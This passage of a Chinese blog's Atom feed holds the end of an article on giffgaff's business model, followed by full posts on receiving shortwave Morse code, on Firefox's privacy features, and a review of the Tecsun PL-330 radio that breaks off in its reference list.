href="#总结与未来展望"><span>#</span></a></h2><p>giffgaff通过其独特的社区驱动商业模式，成功地在英国移动通信市场中开辟了一条创新发展道路。公司将用户从单纯的服务接受者转变为价值创造的参与者，不仅降低了运营成本，还提升了服务质量和用户满意度。</p><p>这种模式的成功证明了在数字化时代，传统的商业模式并非不可撼动。通过充分利用在线平台的优势，发挥用户社区的力量，即使是资源相对有限的公司也能够在竞争激烈的市场中立足并取得成功。</p><p>展望未来，随着5G技术的普及和数字化服务需求的进一步增长，giffgaff的社区驱动模式有望发挥更大的作用。公司可能会继续优化其在线平台，引入更多创新功能，同时保持其核心的社区价值观和灵活服务理念。</p><p>对于整个行业而言，giffgaff的成功经验也提供了有益的启示：在用户需求日益多样化的今天，那些能够真正以用户为中心，勇于创新服务模式的公司，往往能够在激烈的市场竞争中获得持续的发展优势。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/cw_receiving_article/</id>
      <title type="text">短波摩尔斯电码接收技巧：初学者完整指南</title>
      <published>2025-08-19T00:00:00.000Z</published>
      <updated>2025-08-19T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/cw_receiving_article/"/>
      <summary type="text">详细介绍短波CW接收的实用技巧，包括设备选择、波段特点、干扰处理等，帮助初学者掌握摩尔斯电码接收技能。</summary>
      <content type="html"><![CDATA[<section><h1>短波摩尔斯电码接收技巧：初学者完整指南<a href="#短波摩尔斯电码接收技巧初学者完整指南"><span>#</span></a></h1><section><h2>目录<a href="#目录"><span>#</span></a></h2><ul>
<li><a href="#%E5%9F%BA%E7%A1%80%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C">基础准备工作</a></li>
<li><a href="#%E6%8E%A5%E6%94%B6%E6%8A%80%E5%B7%A7%E6%A0%B8%E5%BF%83">接收技巧核心</a></li>
<li><a href="#%E5%AE%9E%E7%94%A8%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97">实用操作指南</a></li>
<li><a href="#%E6%B3%A2%E6%AE%B5%E9%80%89%E6%8B%A9%E4%B8%8E%E7%94%B5%E7%A3%81%E7%8E%AF%E5%A2%83">波段选择与电磁环境</a></li>
<li><a href="#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3">常见问题解决</a></li>
<li><a href="#%E6%80%BB%E7%BB%93%E4%B8%8E%E9%BC%93%E5%8A%B1">总结与鼓励</a></li>
</ul><hr /><p>在这个数字化飞速发展的时代，摩尔斯电码（CW）似乎是一项古老的技术，但它依然在全球无线电爱好者中保持着独特的魅力。对于普通人和学生来说，学习CW接收不仅能培养专注力和听力敏感度，更是了解无线电通信原理的绝佳途径。与现代数字通信相比，CW具有穿透性强、抗干扰能力优秀的特点，即使在恶劣的传播条件下也能实现可靠通信。本文将为您详细介绍短波CW接收的实用技巧，帮助您从零开始掌握这项技能。</p></section><section><h2>基础准备工作<a href="#基础准备工作"><span>#</span></a></h2><p><strong>设备选择</strong>是成功接收CW的第一步。对于初学者，推荐选择具有良好选择性的短波收音机，如德生PL-660、山进ATS-909X等型号，这些设备价格适中且性能稳定。天线系统同样重要：室内可使用拉杆天线或窗户边的简易长线天线，室外条件允许的话，架设10-20米的长线天线效果会更佳。值得特别强调的是耳机的重要性——优质的封闭式耳机能够有效隔离环境噪声，让您更清晰地听到微弱的CW信号。</p><p>在软件工具方面，现代技术为我们提供了便利的辅助手段。CW Skimmer、MorseRunner等PC软件可以帮助解码CW信号，特别适合初学者练习。手机用户可以下载”摩尔斯电码”、“CW Player”等APP，随时随地进行听力训练。不过需要注意的是，过度依赖解码软件可能会影响听力训练效果，建议将其作为辅助工具使用。</p></section><section><h2>接收技巧核心<a href="#接收技巧核心"><span>#</span></a></h2><p><strong>频率选择与调谐</strong>是CW接收的关键技能。业余无线电的CW频段分布在不同波段的低端部分：80米波段为3.500-3.600MHz，40米波段为7.000-7.125MHz，20米波段为14.000-14.150MHz。调谐时要格外细心，CW信号的带宽很窄，稍微偏离就可能错过信号。建议使用收音机的精调功能，慢慢调节直到听到清晰的”嘀嗒”声。</p><p><strong>听力训练方法</strong>需要循序渐进。初学者应该从每分钟5-8个字母的慢速开始，重点掌握E（·）、T（-）、A（·-）、N（-·）等常用字母。关键是培养”整体听感”而非逐个点划分析——听到”·-“时应该直接反应出”A”，而不是先想”点划”再翻译。这种直觉式的识别能力需要大量练习才能形成，建议每天坚持15-30分钟的专项训练。</p><p><strong>信号质量判断</strong>对提高接收效率很重要。清晰的CW信号具有稳定的音调、明确的点划比例（1&lt;3&gt;）和适当的字符间隔。遇到微弱信号时，可以通过调整AGC（自动增益控制）、使用窄带滤波器、选择合适的中频频率等方法来改善接收效果。</p></section><section><h2>实用操作指南<a href="#实用操作指南"><span>#</span></a></h2><p><strong>最佳接收时间</strong>与短波传播规律密切相关。一般来说，80米波段在日落后至午夜前效果最佳，适合区域内通信；40米波段全天可用，但夜间更佳；20米波段在白天表现优秀，特别是上午9点至下午4点期间。了解这些规律能让您事半功倍地找到活跃的CW信号。</p><p><strong>记录和学习</strong>的系统化很重要。建议准备专用的接收日志，记录时间、频率、呼号、信号强度等信息。初学者可以从识别呼号开始——业余电台的呼号通常由字母和数字组成，格式相对固定，比较容易辨认。熟悉常见的Q简语（如QSL确认收到、QRT停止发送等）和缩写词汇，这些在CW通信中使用频繁。</p></section><section><h2>波段选择与电磁环境<a href="#波段选择与电磁环境"><span>#</span></a></h2><p><strong>不同波段的特点</strong>决定了它们的最佳使用场景。80米波段（3.5MHz）主要用于夜间的区域通信，信号稳定但传播距离相对较近，非常适合国内联络。40米波段（7MHz）被誉为”全能波段”，白天黑夜都能使用，既能进行本地通信，也能实现中等距离的跨国联络，是初学者练习的首选。20米波段（14MHz）是白天远距离通信的黄金频段，在太阳活动活跃期能实现全球通信，但夜间效果较差。15米（21MHz）和10米（28MHz）波段则更依赖于太阳活动周期，在太阳黑子高峰期表现出色。</p><p><strong>波段选择策略</strong>需要综合考虑多种因素。时间是最重要的考虑因素：早晨可以尝试20米波段捕捉欧洲信号，中午时分20米和15米波段最为活跃，傍晚时段可以转向40米波段，深夜则是80米波段的天下。季节变化同样影响传播：冬季低频段效果更好，夏季高频段相对活跃。此外，太阳黑子活动的11年周期也会显著影响高频传播，在太阳活动低潮期，10米和15米波段可能几乎无法使用。</p><p><strong>电磁环境评估</strong>对接收质量至关重要。城市环境中的电磁噪声远高于郊区，高楼大厦、工业设施、交通干线都会产生大量电磁干扰。在家中寻找最佳接收位置时，要远离微波炉、电脑、LED灯具等干扰源。有条件的话，可以在不同时间段测试各个房间的噪声水平，选择最安静的电磁环境。阳台、屋顶等开阔位置通常效果更好，但也要考虑安全因素。</p><p><strong>干扰处理技巧</strong>是提高接收质量的关键。自然干扰主要包括大气噪声和雷电干扰，这类干扰具有脉冲特性，可以通过噪声抑制器或者选择不同的接收时间来避开。人为干扰的识别相对容易：开关电源产生的干扰通常是周期性的嗡嗡声，LED灯具会产生宽频噪声，这些都可以通过关闭相应设备来消除。临频干扰在拥挤的业余频段很常见，此时需要耐心寻找，利用收音机的窄带滤波功能，或者稍微调整频率来避开强信号的干扰。对于天线系统，使用定向天线（如八木天线）可以有效减少来自特定方向的干扰，提高信噪比。</p></section><section><h2>常见问题解决<a href="#常见问题解决"><span>#</span></a></h2><p>遇到信号断断续续的情况，首先检查天线连接是否牢固，然后尝试调整接收频率的精确度。如果是传播条件导致的信号衰落，可以耐心等待或者转换到其他波段。当感觉速度跟不上时，不要着急，可以先专注于识别熟悉的字符，逐步提高接收速度。提高准确率的关键在于放松心态，保持节奏感，避免因为漏听一两个字符而影响后续接收。定期校准设备、保持天线清洁、选择合适的音量和音调，这些细节都能显著改善接收效果。</p></section><section><h2>总结与鼓励<a href="#总结与鼓励"><span>#</span></a></h2><p>学习CW接收是一个需要耐心和坚持的过程，但它带来的成就感是独特的。当您第一次成功抄收到完整的CW信息时，那种兴奋感是难以言喻的。CW接收不仅能提高您的专注力和反应能力，还能让您体验到无线电通信的纯粹魅力。建议初学者加入当地的业余无线电社团，与经验丰富的火腿们交流学习。网络上也有丰富的学习资源，如ARRL的训练材料、各种CW练习网站等。记住，每个CW高手都是从初学者开始的，坚持练习，您也能在短波的海洋中自由遨游！</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/firefox_privacy_article/</id>
      <title type="text">Firefox浏览器是怎么保护用户隐私的？</title>
      <published>2025-08-19T00:00:00.000Z</published>
      <updated>2025-08-19T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/firefox_privacy_article/"/>
      <summary type="text">这是一篇介绍Firefox浏览器是怎么保护用户隐私的文章,在文章中详细讲述了Firefox是怎么保护用户隐私的。</summary>
      <content type="html"><![CDATA[<section><h1>Firefox浏览器隐私保护完全指南<a href="#firefox浏览器隐私保护完全指南"><span>#</span></a></h1><section><h2>目录<a href="#目录"><span>#</span></a></h2><ul>
<li><a href="#%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E5%85%B3%E5%BF%83%E6%B5%8F%E8%A7%88%E5%99%A8%E9%9A%90%E7%A7%81">为什么要关心浏览器隐私？</a></li>
<li><a href="#firefox%E8%87%AA%E5%8A%A8%E5%B8%AE%E4%BD%A0%E5%81%9A%E7%9A%84%E9%9A%90%E7%A7%81%E4%BF%9D%E6%8A%A4">Firefox自动帮你做的隐私保护</a></li>
<li><a href="#%E4%BD%A0%E5%8F%AF%E4%BB%A5%E8%87%AA%E5%B7%B1%E8%B0%83%E6%95%B4%E7%9A%84%E9%9A%90%E7%A7%81%E8%AE%BE%E7%BD%AE">你可以自己调整的隐私设置</a></li>
<li><a href="#firefox%E6%AF%94%E5%85%B6%E4%BB%96%E6%B5%8F%E8%A7%88%E5%99%A8%E5%A5%BD%E5%9C%A8%E5%93%AA%E9%87%8C">Firefox比其他浏览器好在哪里？</a></li>
<li><a href="#%E6%8E%A8%E8%8D%90%E5%87%A0%E4%B8%AA%E5%A5%BD%E7%94%A8%E7%9A%84%E9%9A%90%E7%A7%81%E6%8F%92%E4%BB%B6">推荐几个好用的隐私插件</a></li>
<li><a href="#%E6%97%A5%E5%B8%B8%E4%BD%BF%E7%94%A8%E7%9A%84%E9%9A%90%E7%A7%81%E5%B0%8F%E8%B4%B4%E5%A3%AB">日常使用的隐私小贴士</a></li>
<li><a href="#%E6%80%BB%E7%BB%93">总结</a></li>
</ul><hr /></section><section><h2>为什么要关心浏览器隐私？<a href="#为什么要关心浏览器隐私"><span>#</span></a></h2><p>在我们每天上网的过程中，浏览器就像是我们进入互联网世界的大门。但你知道吗？每次点击、每个搜索、每个访问的网站，都可能在悄悄收集你的个人信息。</p><p>想象一下，如果有人每天跟在你身后，记录你去了哪些商店、看了什么商品、和谁聊天，你会觉得舒服吗？在网络世界里，很多网站正在做类似的事情。它们通过各种技术手段跟踪你的上网行为，建立你的个人档案，然后把这些信息用于精准广告投放，甚至出售给其他公司。</p><p>这种跟踪可能导致一些令人不安的后果：你会发现网页上的广告总是”神奇地”知道你最近在关注什么；你的个人信息可能被泄露给不法分子；你的上网习惯被分析后，可能影响你看到的信息内容，形成所谓的”信息茧房”。</p><p>正是因为这些原因，选择一个真正保护用户隐私的浏览器变得越来越重要。Firefox作为一款开源浏览器，从设计理念上就把用户隐私放在首位，它不依赖收集用户数据来盈利，而是致力于为用户提供一个更安全、更私密的上网环境。</p></section><section><h2>Firefox自动帮你做的隐私保护<a href="#firefox自动帮你做的隐私保护"><span>#</span></a></h2><p>Firefox最大的优势就是它会自动为你做很多隐私保护工作，你甚至不需要进行复杂的设置就能享受到基本的隐私保护。</p><section><h3>自动拦截跟踪器<a href="#自动拦截跟踪器"><span>#</span></a></h3><p>什么是跟踪器呢？简单来说，跟踪器就像是网站上的”小间谍”，它们会偷偷记录你的上网行为。比如，当你在购物网站上浏览了一双鞋子，跟踪器就会记住这个信息，然后你在其他网站上就会看到这双鞋子的广告。</p><p>Firefox默认开启了”增强型跟踪保护”功能，它就像一个24小时工作的保安，会自动识别和阻止这些跟踪器。Firefox提供三种保护级别：</p><ul>
<li><strong>标准模式</strong>：阻止最常见的跟踪器，适合大多数用户</li>
<li><strong>严格模式</strong>：阻止更多跟踪器，但可能影响部分网站功能</li>
<li><strong>自定义模式</strong>：让你自己决定阻止哪些内容</li>
</ul></section><section><h3>防止网站互相”串通”<a href="#防止网站互相串通"><span>#</span></a></h3><p>Firefox有一个很聪明的功能叫”容器标签页”。想象一下，如果你把不同的网站放在不同的”盒子”里，它们就无法互相分享你的信息了。</p><p>比如，你在一个标签页里登录了社交媒体，在另一个标签页里浏览购物网站。正常情况下，社交媒体可能会知道你在购物网站上看了什么。但有了容器功能，这两个网站就像被隔离在不同的房间里，无法”串通”分享你的信息。</p></section><section><h3>保护你的上网记录不被偷看<a href="#保护你的上网记录不被偷看"><span>#</span></a></h3><p>当你在浏览器里输入网址时，你的设备需要先”问路”——向DNS服务器查询这个网址对应的实际地址。传统情况下，这个”问路”过程是明文传输的，就像在大街上大声喊要去哪里一样，任何人都能听到。</p><p>Firefox支持DNS over HTTPS（DoH）技术，就像给你的”问路”过程加了密，让网络服务提供商无法轻易监控你访问了哪些网站。这就好比你把要去的地址写在密封的信封里，只有收信人才能看到内容。</p></section></section><section><h2>你可以自己调整的隐私设置<a href="#你可以自己调整的隐私设置"><span>#</span></a></h2><p>虽然Firefox默认提供了很好的隐私保护，但你还可以根据自己的需要进一步调整设置，让保护更加个性化。</p><section><h3>基础隐私设置在哪里找<a href="#基础隐私设置在哪里找"><span>#</span></a></h3><p>在Firefox中找到隐私设置非常简单：</p><ol>
<li>点击右上角的菜单按钮（三条横线）</li>
<li>选择”设置”</li>
<li>在左侧菜单中点击”隐私与安全”</li>
</ol><p>在这里，你可以看到Firefox为你准备的各种隐私保护选项。建议大家把”增强型跟踪保护”设置为”严格”，虽然可能偶尔会影响某些网站的功能，但能提供更强的隐私保护。</p></section><section><h3>如何管理Cookie和网站数据<a href="#如何管理cookie和网站数据"><span>#</span></a></h3><p>Cookie就像是网站给你贴的”标签”，记录你的访问信息。有些Cookie是有用的，比如记住你的登录状态；但有些Cookie是用来跟踪你的。</p><p>在Firefox的隐私设置中，你可以：</p><ul>
<li>选择删除关闭浏览器时的Cookie</li>
<li>阻止第三方Cookie（这些通常用于跟踪）</li>
<li>查看和删除特定网站的数据</li>
<li>设置例外网站，让信任的网站保留必要的Cookie</li>
</ul></section><section><h3>私人浏览模式怎么用<a href="#私人浏览模式怎么用"><span>#</span></a></h3><p>私人浏览模式就像是给你的上网行为穿了一件”隐身衣”。在这个模式下：</p><ul>
<li>浏览历史不会被保存</li>
<li>Cookie和网站数据在关闭窗口时自动删除</li>
<li>搜索记录不会被保存</li>
<li>下载历史不会被记录</li>
</ul><p>什么时候使用私人模式呢？比如在公共电脑上上网、查看敏感信息、或者为别人代查资料时。但要记住，私人模式只是不在你的设备上留下痕迹，网站和网络服务提供商仍然可能追踪到你的活动。</p><p>需要注意的是，私人浏览并不是万能的。它不能隐藏你的IP地址，也不能防止网站识别你的设备特征。如果需要更强的匿名保护，可能需要配合VPN等其他工具使用。</p></section></section><section><h2>Firefox比其他浏览器好在哪里？<a href="#firefox比其他浏览器好在哪里"><span>#</span></a></h2><p>当我们谈论浏览器隐私保护时，Firefox确实有一些独特的优势，特别是与目前市场占有率最高的Chrome相比。</p><section><h3>和Chrome的区别<a href="#和chrome的区别"><span>#</span></a></h3><p>Chrome和Firefox最大的区别在于它们的”商业模式”不同。Chrome的开发商Google主要通过广告业务赚钱，这意味着收集用户数据对他们来说是有商业价值的。相比之下，Firefox的开发商Mozilla是一个非营利组织，他们的收入主要来自搜索引擎合作，而不是用户数据。</p><p>具体的区别表现在：Chrome默认会收集大量用户数据用于改进服务和广告投放，而Firefox默认最小化数据收集；Chrome的很多隐私设置需要用户手动关闭，而Firefox默认就是隐私友好的；Chrome与Google的其他服务（如Gmail、YouTube）深度整合，可能增加数据关联的风险，而Firefox相对独立。</p></section><section><h3>为什么选择Firefox<a href="#为什么选择firefox"><span>#</span></a></h3><p>Firefox作为开源浏览器的最大好处是”透明”。开源意味着任何人都可以查看Firefox的源代码，确认它确实在按照承诺保护用户隐私，而不是仅仅相信厂商的宣传。</p><p>Mozilla公司的理念是”让互联网成为全球公共资源，对所有人开放且易于访问”。这种理念直接反映在Firefox的设计中：它不会为了商业利益而牺牲用户隐私，而是真正把用户利益放在第一位。</p><p>此外，Firefox在功能上也毫不逊色，它支持现代网页标准，运行速度快，扩展程序丰富，同时还能在多个设备间同步数据（当然，这个同步过程也是加密的）。</p></section></section><section><h2>推荐几个好用的隐私插件<a href="#推荐几个好用的隐私插件"><span>#</span></a></h2><p>虽然Firefox本身已经提供了很好的隐私保护，但你还可以通过安装一些简单易用的插件来进一步增强保护效果。</p><section><h3>广告拦截器推荐<a href="#广告拦截器推荐"><span>#</span></a></h3><p><strong>uBlock Origin</strong>是最受推荐的广告拦截器，它不仅能阻止烦人的广告，还能阻止很多跟踪器。安装方法很简单：在Firefox附加组件商店搜索”uBlock Origin”，点击”添加到Firefox”即可。</p><p>安装后，uBlock Origin会自动开始工作，你会发现网页加载更快了，广告也少了很多。它的设置对普通用户来说已经足够好用，通常不需要额外调整。</p></section><section><h3>其他实用插件<a href="#其他实用插件"><span>#</span></a></h3><p><strong>ClearURLs</strong>可以自动清理网址中的跟踪参数。比如，当你从搜索结果点击链接时，网址往往会带一大串用于跟踪的参数，这个插件会自动把它们去掉。</p><p><strong>Privacy Badger</strong>是一个智能的隐私保护工具，它会学习哪些网站在跟踪你，然后自动阻止它们。这个插件的好处是它会”越用越聪明”，随着使用时间增长，保护效果会越来越好。</p><p>不过，对于普通用户来说，不建议安装太多隐私插件，因为插件之间可能会冲突，反而影响浏览体验。选择一两个最实用的就足够了。</p></section></section><section><h2>日常使用的隐私小贴士<a href="#日常使用的隐私小贴士"><span>#</span></a></h2><p>除了依赖Firefox的内置保护和插件，养成良好的上网习惯同样重要。</p><p>定期清理浏览数据是个好习惯。建议每周清理一次浏览历史、Cookie和缓存文件。这不仅能保护隐私，还能释放存储空间，提高浏览器运行速度。</p><p>在使用公共WiFi时要格外小心。公共网络通常不够安全，你的上网数据可能被其他人截取。这时候，使用私人浏览模式，或者尽量避免登录重要账户，都是明智的选择。</p><p>当你需要搜索敏感信息、查看私人内容，或者在别人的电脑上上网时，记得使用私人浏览模式。虽然它不能提供完全的匿名保护，但至少能确保这些活动不会在浏览器中留下痕迹。</p></section><section><h2>总结<a href="#总结"><span>#</span></a></h2><p>Firefox浏览器在隐私保护方面确实有着显著的优势。它默认启用的跟踪保护、容器标签页、DNS加密等功能，为用户提供了强大的隐私防护。相比其他主流浏览器，Firefox不依赖用户数据盈利的商业模式，让它能够真正站在用户一边。</p><p>对于学生和普通用户来说，Firefox提供了一个很好的平衡：既有强大的隐私保护功能，又保持了良好的易用性。你不需要成为技术专家，就能享受到安全、私密的上网体验。通过合理使用Firefox的内置功能，配合一两个简单的隐私插件，再养成良好的上网习惯，你就能在享受互联网便利的同时，很好地保护自己的隐私安全。</p><p>如果你还在使用其他浏览器，不妨试试Firefox。毕竟，在这个信息时代，保护个人隐私不仅是一种权利，更是一种必要的自我保护技能。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/tecsun_pl330_article/</id>
      <title type="text">Tecsun PL-330是一台怎么样的收音机？</title>
      <published>2025-08-18T00:00:00.000Z</published>
      <updated>2025-08-18T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/tecsun_pl330_article/"/>
      <summary type="text">一篇介绍Tecsun PL-330的文章，Tecsun PL-330究竟是一台怎么样的收音机？</summary>
      <content type="html"><![CDATA[<section><h1>Tecsun PL-330：口袋里的短波世界 - 小体积大功能的DSP收音机深度解析<a href="#tecsun-pl-330口袋里的短波世界---小体积大功能的dsp收音机深度解析"><span>#</span></a></h1><section><h2>目录<a href="#目录"><span>#</span></a></h2><ul>
<li><a href="#%E5%BC%95%E8%A8%80">引言</a></li>
<li><a href="#%E4%BA%A7%E5%93%81%E6%A6%82%E8%BF%B0%E4%B8%8E%E5%AE%9A%E4%BD%8D">产品概述与定位</a></li>
<li><a href="#%E6%8A%80%E6%9C%AF%E8%A7%84%E6%A0%BC%E4%B8%8E%E6%A0%B8%E5%BF%83%E7%89%B9%E6%80%A7">技术规格与核心特性</a></li>
<li><a href="#%E5%88%9B%E6%96%B0%E5%8A%9F%E8%83%BD%E4%BA%AE%E7%82%B9">创新功能亮点</a></li>
<li><a href="#%E5%AE%9E%E9%99%85%E4%BD%BF%E7%94%A8%E4%BD%93%E9%AA%8C">实际使用体验</a></li>
<li><a href="#%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AF%B9%E6%AF%94">技术分析与对比</a></li>
<li><a href="#%E4%BD%BF%E7%94%A8%E5%BB%BA%E8%AE%AE%E4%B8%8E%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9">使用建议与注意事项</a></li>
<li><a href="#%E6%80%BB%E7%BB%93%E4%B8%8E%E6%8E%A8%E8%8D%90">总结与推荐</a></li>
</ul><hr /></section><section><h2>引言<a href="#引言"><span>#</span></a></h2><p>在智能手机和流媒体音乐统治音频娱乐的今天，传统收音机似乎已经成为”上古时代”的产物。然而，对于短波爱好者、业余无线电爱好者以及那些渴望探索电波世界的人们来说，一台高性能的便携式收音机仍然是不可替代的伙伴。德生（Tecsun）PL-330作为一款融合了现代DSP技术的超小型收音机，在保持极致便携性的同时，却能带来令人惊喜的接收性能。</p><p>本文将从技术规格、功能特性、使用体验等多个维度，为您全面解析这款被誉为”口袋里的短波世界”的精品收音机。</p></section><section><h2>产品概述与定位<a href="#产品概述与定位"><span>#</span></a></h2><p>Tecsun PL-330属于德生”Ultralight”超轻型系列，是该公司在便携式DSP收音机领域的又一力作。这款收音机在继承PL-310ET和PL-380优秀基因的基础上，进行了全面的技术升级和功能优化。</p><p>作为一款定位于中高端市场的便携式收音机，PL-330的设计理念是在极小的体积内集成尽可能多的专业功能。它不仅适合短波爱好者进行DX（远距离通信）活动，也是旅行者、户外爱好者以及应急通信需求者的理想选择。</p></section><section><h2>技术规格与核心特性<a href="#技术规格与核心特性"><span>#</span></a></h2><section><h3>频率覆盖范围<a href="#频率覆盖范围"><span>#</span></a></h3><ul>
<li><strong>FM波段：</strong> 64-108 MHz</li>
<li><strong>长波（LW）：</strong> 153-513 kHz</li>
<li><strong>中波（MW）：</strong> 520-1710 kHz</li>
<li><strong>短波（SW）：</strong> 1711-29999 kHz</li>
</ul></section><section><h3>DSP技术优势<a href="#dsp技术优势"><span>#</span></a></h3><p>PL-330采用了先进的PLL DSP多波段接收技术，其核心在于DSP微芯片对模拟信号的数字化处理。这项技术带来了三个显著优势：</p><ol>
<li><strong>灵敏度提升：</strong> 数字信号处理大幅提高了对微弱信号的捕获能力</li>
<li><strong>选择性增强：</strong> 能够更好地区分相邻频率的信号，减少串台现象</li>
<li><strong>抗干扰能力：</strong> 有效滤除各种噪声和干扰信号</li>
</ol></section><section><h3>SSB单边带解调<a href="#ssb单边带解调"><span>#</span></a></h3><p>PL-330支持USB（上边带）和LSB（下边带）单边带解调功能，这使得它能够接收业余无线电、海事通信、航空通信等专业频段的信号，极大地扩展了收听范围。</p></section><section><h3>同步检测功能<a href="#同步检测功能"><span>#</span></a></h3><p>值得一提的是，PL-330是目前市场上最便宜的具备同步检测功能的收音机。同步检测技术能够锁定载波信号，即使在信号衰落的情况下也能保持稳定的音质，这对于长距离短波接收尤为重要。</p></section></section><section><h2>创新功能亮点<a href="#创新功能亮点"><span>#</span></a></h2><section><h3>ETM+（时间特定存储器）<a href="#etm时间特定存储器"><span>#</span></a></h3><p>ETM+是PL-330的一项创新功能，它能够根据接收时间自动填充24个ETM存储器。这项功能特别适合短波广播的接收，因为许多国际广播电台都有固定的播出时间表。用户无需手动记录和设置，收音机会智能地管理这些时间相关的频率信息。</p></section><section><h3>外接天线系统<a href="#外接天线系统"><span>#</span></a></h3><p>PL-330在所有波段都支持外接天线，并且具备内置天线断开功能。这一设计避免了内置天线对外接天线的干扰，确保在使用专业天线时能够获得最佳的接收效果。这项功能使得PL-330不仅适合移动使用，也能胜任固定台的角色。</p></section><section><h3>大容量存储系统<a href="#大容量存储系统"><span>#</span></a></h3><p>收音机配备了850个电台存储器，并具有自动分类功能。用户可以将不同类型的电台分别存储和管理，大大提高了使用效率。结合多种调谐方式，包括直接频率输入功能，使得频率切换变得异常便捷。</p></section></section><section><h2>实际使用体验<a href="#实际使用体验"><span>#</span></a></h2><section><h3>操作便利性<a href="#操作便利性"><span>#</span></a></h3><p>PL-330的用户界面设计简洁直观，即使是初次使用者也能快速上手。LCD显示屏提供了丰富的信息显示，包括频率、时间、信号强度、电池状态等。按键布局合理，常用功能都能快速访问。</p></section><section><h3>接收性能<a href="#接收性能"><span>#</span></a></h3><p>在实际使用中，PL-330展现出了出色的接收性能。其DSP技术在弱信号接收方面表现突出，即使在城市电磁环境较为复杂的情况下，也能稳定接收到远距离的短波广播。SSB解调功能工作稳定，能够清晰地接收业余无线电通信。</p></section><section><h3>电池续航<a href="#电池续航"><span>#</span></a></h3><p>PL-330配备BL-5C 1000mAh锂电池，在正常使用强度下可提供约24小时的连续工作时间。这样的续航能力对于户外使用和应急通信来说是非常充足的。同时支持外接电源，可以满足长时间固定使用的需求。</p></section><section><h3>便携性优势<a href="#便携性优势"><span>#</span></a></h3><p>作为”Ultralight”系列产品，PL-330的便携性是其最大卖点之一。小巧的体积使得它可以轻松放入口袋或背包中，无论是日常通勤还是户外旅行，都不会带来额外的负担。</p></section></section><section><h2>技术分析与对比<a href="#技术分析与对比"><span>#</span></a></h2><section><h3>Si4735芯片技术<a href="#si4735芯片技术"><span>#</span></a></h3><p>PL-330采用了Silicon Labs的Si4735芯片，这是一款专为便携式收音机设计的高集成度DSP芯片。该芯片的优势在于：</p><ul>
<li>高集成度设计，降低了电路复杂性</li>
<li>优秀的信噪比表现</li>
<li>低功耗特性，延长电池使用时间</li>
<li>支持多种解调模式</li>
</ul></section><section><h3>竞品对比<a href="#竞品对比"><span>#</span></a></h3><p>在同价位的便携式DSP收音机市场中，PL-330具有明显的竞争优势：</p><p><strong>与传统模拟收音机相比：</strong></p><ul>
<li>接收灵敏度更高</li>
<li>抗干扰能力更强</li>
<li>功能更加丰富</li>
</ul><p><strong>与其他DSP收音机相比：</strong></p><ul>
<li>体积更加紧凑</li>
<li>同步检测功能在同价位产品中较为罕见</li>
<li>ETM+功能具有独特性</li>
</ul></section><section><h3>适用场景<a href="#适用场景"><span>#</span></a></h3><p>PL-330适合以下使用场景：</p><ol>
<li><strong>短波DX活动：</strong> 优秀的灵敏度和SSB功能使其成为DX爱好者的理想选择</li>
<li><strong>旅行伴侣：</strong> 小巧便携，能够接收世界各地的广播</li>
<li><strong>应急通信：</strong> 长续航和多波段覆盖提供了可靠的信息获取渠道</li>
<li><strong>学习工具：</strong> 对于想要了解无线电技术的初学者来说是很好的入门产品</li>
</ol></section></section><section><h2>使用建议与注意事项<a href="#使用建议与注意事项"><span>#</span></a></h2><section><h3>针对不同用户的建议<a href="#针对不同用户的建议"><span>#</span></a></h3><p><strong>短波爱好者：</strong></p><ul>
<li>建议配备外接天线以获得最佳接收效果</li>
<li>充分利用SSB和同步检测功能</li>
<li>合理使用ETM+功能管理常听电台</li>
</ul><p><strong>普通用户：</strong></p><ul>
<li>重点使用FM和中波功能</li>
<li>学习基本的频率搜索和存储操作</li>
<li>注意电池管理，避免过度放电</li>
</ul></section><section><h3>已知问题与解决方案<a href="#已知问题与解决方案"><span>#</span></a></h3><p>需要注意的是，PL-330在调谐时存在短暂的静音现象。这是DSP处理的特性，属于正常现象，用户在使用时应该了解这一特点，在快速调谐时适当放慢速度。</p></section><section><h3>配件选择建议<a href="#配件选择建议"><span>#</span></a></h3><ol>
<li><strong>天线：</strong> 建议配备便携式拉杆天线或环形天线以改善短波接收</li>
<li><strong>耳机：</strong> 使用高质量耳机可以更好地欣赏音质并减少干扰</li>
<li><strong>保护套：</strong> 考虑到其精密的电子元件，建议使用保护套</li>
</ol></section></section><section><h2>总结与推荐<a href="#总结与推荐"><span>#</span></a></h2><p>Tecsun PL-330是一款在其价位上极具竞争力的便携式DSP收音机。它成功地在超小的体积内集成了专业级的接收功能，无论是对于短波爱好者还是普通用户来说，都是一个值得推荐的选择。</p><p><strong>主要优势：</strong></p><ul>
<li>出色的便携性与功能平衡</li>
<li>先进的DSP技术带来的性能提升</li>
<li>丰富的专业功能（SSB、同步检测、ETM+）</li>
<li>优秀的性价比</li>
</ul><p><strong>适合人群：</strong></p><ul>
<li>短波和业余无线电爱好者</li>
<li>经常旅行的用户</li>
<li>对便携性有较高要求的收音机用户</li>
<li>希望以较低成本体验专业功能的初学者</li>
</ul><p>PL-330证明了在数字化时代，传统的无线电接收技术仍然有其不可替代的价值。对于那些渴望探索电波世界的人们来说，这款小巧而功能强大的收音机，或许就是开启奇妙旅程的最佳钥匙。</p><hr /></section><section><h2>参考资料<a href="#参考资料"><span>#</span></a></h2><ol>
<li>
<p>Radio-Electronics.com - Tecsun PL-330 review
<a href="https://radio-electronics.com/reviews/tecsun-pl-330-review/" target="_blank">https://radio-electronics.com/reviews/tecsun-pl-330-review/</a></p>
</li>
<li>
<p>SWLing Post - TECSUN PL-330 Ultralight Radio Review<br />
